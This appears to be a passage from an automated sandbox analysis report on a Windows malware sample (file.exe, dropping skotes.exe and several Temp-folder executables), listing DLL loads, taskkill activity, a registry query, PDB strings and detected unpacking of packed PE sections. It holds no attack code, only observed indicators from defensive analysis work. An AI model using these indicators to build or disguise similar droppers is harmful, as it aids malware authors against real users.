Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 2958336 > 1048576

Source: file.exe

Static PE information: Raw size of sqqzsevq is bigger than: 0x100000 < 0x2a0a00

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 6f93831ea2.exe, 00000007.00000002.2474133346.0000000005D60000.00000004.08000000.00040000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: PE.pdb source: 6f93831ea2.exe, 00000007.00000002.2471255478.0000000003580000.00000004.08000000.00040000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.630000.0.unpack :EW;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqqzsevq:EW;yeqzlsyq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Unpacked PE file: 10.2.b1c5a9309d.exe.5a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;idubrvtj:EW;utqwspkx:EW;.taggant:EW;
